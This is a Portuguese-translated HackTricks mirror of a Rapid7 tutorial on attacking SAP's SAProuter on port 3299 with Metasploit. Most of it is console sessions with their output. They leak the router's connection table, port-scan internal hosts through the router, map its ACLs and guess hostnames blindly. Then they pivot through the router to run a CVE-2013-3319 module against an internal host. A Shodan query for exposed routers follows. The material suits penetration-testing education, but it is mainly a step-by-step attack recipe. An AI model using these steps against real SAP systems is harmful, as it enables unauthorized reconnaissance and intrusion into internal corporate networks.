Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/3299-pentesting-saprouter.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

22 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Cópia de: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Perfurando o SAProuter com Metasploit

O Saprouter é basicamente um proxy reverso para sistemas SAP, geralmente situado entre a Internet e os sistemas SAP internos. Seu principal objetivo é permitir acesso controlado de hosts na Internet aos sistemas SAP internos, uma vez que permite um controle mais refinado dos protocolos SAP do que um firewall típico.

Isso significa que o saprouter geralmente acaba sendo exposto à Internet, permitindo a porta TCP de entrada 3299 para o host saprouter nos firewalls da organização. E a partir do saprouter, pelo menos deve ser possível alcançar um servidor SAP interno. Isso o torna um alvo muito interessante, pois pode fornecer uma maneira de entrar na rede de "alto valor".

A figura a seguir mostra uma configuração básica de rede, que usaremos para os exemplos:

Primeiro, começaremos realizando uma varredura de serviço SAP do endereço IP exposto, usando o módulo sap_service_discovery, neste caso, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

A varredura mostra que o host está executando um roteador SAP na porta TCP esperada 3299. Agora podemos aprofundar e tentar obter algumas informações do saprouter. Se ele foi mal configurado, e muitas vezes é, pode ser possível obter informações internas, como conexões estabelecidas através do saprouter para hosts internos. Para este propósito, usamos o módulo sap_router_info_request:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request 
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

   Source        Destination   Service
   ------        -----------   -------
   1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Então, a partir da saída, vemos que alguém na Internet 1.2.3.12 está conectado a um host interno 192.168.1.18 na porta 3200. A porta 3200 é uma porta SAP comum para o protocolo DIAG é onde o aplicativo SAP GUI se conecta aos servidores SAP. Também obtemos informações sobre o esquema de endereçamento IP interno, eles estão muito provavelmente usando pelo menos a rede 192.168.1.0/24, ou algum sub-rede nessa rede.

Enumerando hosts e serviços internos

Com essas informações, agora podemos começar a escanear a rede interna. Como o saprouter funciona como um proxy, tentaremos nos conectar a ele e solicitar conexões para hosts e portas internos, e ver as respostas do saprouter. Isso pode fornecer mais informações sobre os hosts internos, serviços e ACLs, dependendo da configuração do saprouter. Usaremos o módulo sap_router_portscanner para esse propósito.

O módulo se conecta ao saprouter e solicita conexões a outros hosts definidos na opção TARGETS em portas TCP específicas. Em seguida, analisa as respostas e entende se a conexão solicitada é possível ou não. Este módulo fornece algumas opções que podem ser usadas:

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  CONCURRENCY  10               yes       The number of concurrent ports to check per host
  INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
  MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
  PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
  RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
  RHOST                         yes       SAPRouter address
  RPORT        3299             yes       SAPRouter TCP port
  TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

No mínimo, você terá que definir o endereço IP do saprouter, no caso de exemplo, 1.2.3.101. Em seguida, defina TARGETS para os endereços de rede interna que você deseja escanear e, finalmente, defina PORTS com as portas TCP a serem escaneadas.

O módulo também fornece uma opção INSTANCES que permite simplificar a definição da opção PORTS. As instalações SAP suportam várias instâncias, fornecendo serviços semelhantes, portanto, cada instância tem portas TCP atribuídas. Por exemplo, a instância SAP 00 terá o serviço de despachante SAP onde o SAP GUI se conecta na porta 3200 e a instância 01 na porta 3201. A opção PORTS suporta um "curinga" que é "NN" que será substituído pelo número da instância, portanto, escaneando portas para todas as instâncias definidas. Então, se quisermos escanear instâncias de 00 a 50, podemos definir as variáveis INSTANCES e PORTS desta maneira:

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

Com essa configuração, o módulo irá escanear portas no intervalo de 3200 a 3250.

No código-fonte do módulo, você tem informações sobre as portas padrão comuns em sistemas SAP, que agora usaremos para escanear:

msf > use auxiliary/scanner/sap/sap_router_portscanner 
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner  
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host           Port   State   Info
   ----           ----   -----   ----
   192.168.1.18   3201   closed  SAP Dispatcher sapdp01
   192.168.1.18   3200   open    SAP Dispatcher sapdp00
   192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

Podemos tentar entender por que algumas conexões não são permitidas pelo saprouter usando a opção VERBOSE. Quando VERBOSE é definido como verdadeiro, podemos ver a resposta do saprouter e mapear a ACL definida.

Agora vamos escanear os hosts 192.168.1.18 e 192.168.1.1, mas apenas na porta 3200, para ver se podemos nos conectar aos dois despachantes SAP:

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host          Port  State   Info
   ----          ----  -----   ----
   192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

Como você pode ver, agora sabemos que não podemos nos conectar a outro host na porta 3200, pois ela é bloqueada pela ACL definida no saprouter.

Mapeando as ACLs

Uma coisa interessante sobre o saprouter é que ele suporta dois tipos de conexões:

  • Nativa - Essas conexões são simplesmente conexões TCP;
  • Protocolo SAP - São conexões TCP com uma reviravolta, o protocolo afirma que todas as mensagens são iniciadas com 4 bytes indicando o comprimento do conteúdo seguinte.

O protocolo SAP é específico para o saprouter e é o que o SAP GUI usa para se conectar à porta SAP DIAG por meio do saprouter. O protocolo nativo é usado para permitir que outros tipos de conexões passem pelo saprouter.

Este módulo permite especificar qual tipo de conexão testar durante a varredura na opção MODE. O padrão é o protocolo SAP, que é o mais provável de ser usado em produção. No entanto, não é incomum encontrar outros serviços permitidos pelo saprouter, onde a ACL permitirá conexões nativas TCP através dele.

Podemos definir o MODE como TCP para avaliar se esse tipo de conexão é permitido. Agora, vamos escanear os hosts internos, tanto na porta 3200 SAP DIAG quanto na porta 80 HTTP, com VERBOSE definido como true, em ambas as instâncias 00 e 01 e ver o que acontece:

msf auxiliary(sap_router_portscanner) > set MODE TCP 
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host          Port  State  Info
   ----          ----  -----  ----
   192.168.1.18  80    open   
   192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host         Port  State  Info
   ----         ----  -----  ----
   192.168.1.1  3201  open   SAP Dispatcher sapdp01
   192.168.1.1  80    open   

[*] Auxiliary module execution completed

A partir da saída e das informações anteriores, agora sabemos que a ACL é algo como:

  • Permitir conexões TCP de qualquer host para 192.168.1.1 na porta 80
  • Permitir conexões TCP de qualquer host para 192.168.1.18 na porta 80
  • Permitir conexões TCP de qualquer host para 192.168.1.1 na porta 3201
  • Permitir conexões TCP de qualquer host para 192.168.1.18 na porta 3201
  • Permitir conexões SAP de qualquer host para 192.168.1.18 na porta 3200

Enumeração cega de hosts internos

Se você se lembra, começamos obtendo informações do saprouter que nos permitiram saber o endereço IP de um host interno, e seguimos a partir daí. Mas e se o saprouter não nos fornecer essa informação?

Uma opção é simplesmente começar a escanear espaços de endereço privados e ver o que acontece. A outra é enumerar cegamente hosts por nome de host.

Os saprouters são capazes de resolver nomes de host que solicitamos que se conectem. O saprouter também é gentil o suficiente para nos informar quais são os erros quando não consegue se conectar você pode realmente ver as respostas brutas descomentando a linha 242 na origem do módulo.

Com esse recurso, podemos enumerar hosts internos por nome de host e tentar ir direto ao ponto!

Para isso, precisamos definir a opção RESOLVE como "remota". Nesse caso, o módulo solicitará conexão aos ALVOS definidos, sem resolvê-los localmente, e podemos tentar adivinhar os hosts internos e, eventualmente, nos conectar a eles sem nunca saber seus endereços IP.

Coisas importantes a lembrar ao enumerar hosts cegamente:

  • Defina VERBOSE como true;
  • Obteremos mais informações do saprouter se MODE for definido como SAP_PROTO;
  • É suficiente definir apenas uma porta para escanear, uma vez que estamos interessados apenas nas informações enviadas pelo saprouter tente 3200;
  • Os resultados variarão dependendo da ACL configurada. Infelizmente, conexões bloqueadas não nos darão muitas informações.

Neste exemplo, tentaremos os nomes de host sap, sapsrv e sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

   Host     Port  State  Info
   ----     ----  -----  ----
   sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

A partir da saída, vemos que o host "sap" não existe, mas o host "sapsrv" existe, embora seja inacessível, e "sapsrv2" existe e podemos nos conectar à porta 3200.

Essa técnica também pode ser usada para tentar encontrar outros hosts na rede, não relacionados ao SAP, apenas tente usar nomes de host comuns, como smtp, exchange, pdc, bdc, fileshare, intranet ou quaisquer outros nomes de host interessantes que você possa ter em sua bolsa de truques.

A última milha

Agora que obtivemos todas essas informações, sabemos quais hosts internos estão disponíveis, quais serviços são permitidos e quais protocolos podemos usar para perfurar o saprouter, podemos realmente nos conectar aos servidores internos e prosseguir com nosso pentest.

O Metasploit nos fornece uma maneira incrível de usar o saprouter como um proxy, usando a opção Proxies, graças a Dave Hartley [@nmonkee](http://twitter.com/nmonkee).

Então, neste ponto, queremos começar a coletar informações sobre o servidor SAP interno que descobrimos no host 192.168.1.18. Como exemplo, usaremos o módulo sap_hostctrl_getcomputersystem, que explora a CVE-2013-3319 e nos fornece detalhes sobre o sistema operacional em que o servidor está sendo executado, consultando o serviço SAP Host Control na porta 1128 por meio de uma solicitação SOAP não autenticada. Vamos pivotar através do saprouter, usando o suporte a proxy no metasploit:

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem 
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Se tudo correu bem, você terá uma saída agradável do módulo no loot contendo informações internas interessantes do host SAP alvo (como nomes de usuário internos que você pode tentar forçar a entrada).

O pivô pode (e deve!) ser usado para executar outros módulos contra hosts internos, não apenas sistemas SAP!

Conclusão

Vimos como é possível explorar configurações fracas do saprouter que podem permitir acesso a hosts internos diretamente da Internet, tudo isso usando apenas o suporte do metasploit para pentesting de sistemas SAP.

Espero que este artigo possa ajudar a esclarecer tanto os riscos associados às implantações do saprouter quanto à segurança do SAP em geral.

Referências

Shodan

  • port:3299 !HTTP Network packet too big
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥